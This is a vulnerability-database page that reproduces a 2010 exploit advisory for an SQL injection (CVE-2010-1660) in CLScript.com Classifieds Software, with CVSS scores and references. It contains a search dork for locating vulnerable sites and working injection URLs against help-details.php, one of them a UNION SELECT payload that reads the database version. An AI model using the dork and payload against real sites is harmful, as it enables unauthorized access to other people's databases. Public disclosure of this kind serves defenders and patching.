CLScript.com Classifieds Software SQL Injection Vunerability

2010.05.04

Credit: 41.w4r10r

Risk: High

Local: No

Remote: Yes

CVE: CVE-2010-1660

CWE: CWE-89

Dork: intext:\"Powered by CLscript.com\"

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

# Exploit Title: CLScript.com Classifieds Software SQL Injection
Vunerability
# Date: 27-4-2010
# Author: 41.w4r10r
# Vendor Link : http://www.clscript.com/
# Version: Web Application
# Tested on: Apcahe/Unix
# CVE : [if exists]
# Dork :  intext:"Powered by CLscript.com"
# Code :
---------------------------------------------------------------------------------------
############################################################################
#Greetz to all Andhra Hackers and ICW Memebers[Indian Cyber
Warriors]
#Thanks:
SaiSatish,FB1H2S,Godwin_Austin,Micr0,Mannu,Harin,Jappy,Dark_Blue,Hoodlum
#Shoutz: hg_H@x0r,r45c4l,Yash,Hackuin,unn4m3d
#Catch us at www.andhrahackers.com or www.teamicw.in
############################################################################



Exploited Link :

1) http://example.com/help-details.php?hpId=-38'



Live Demo :

1)
http://example.com/help-details.php?hpId=-38+union+select+all+1,version(),3,4,5,6,7--




#41.w4r10r mailto:41.w4r10r@andhrahackers.com

References:

http://xforce.iss.net/xforce/xfdb/58181

http://www.vupen.com/english/advisories/2010/1010

http://www.securityfocus.com/bid/39737

http://www.exploit-db.com/exploits/12423

http://secunia.com/advisories/39612

http://packetstormsecurity.org/1004-exploits/clscriptclassfieds-sql.txt

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

CLScript.com Classifieds Software SQL Injection Vunerability

Dork: intext:\"Powered by CLscript.com\"

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.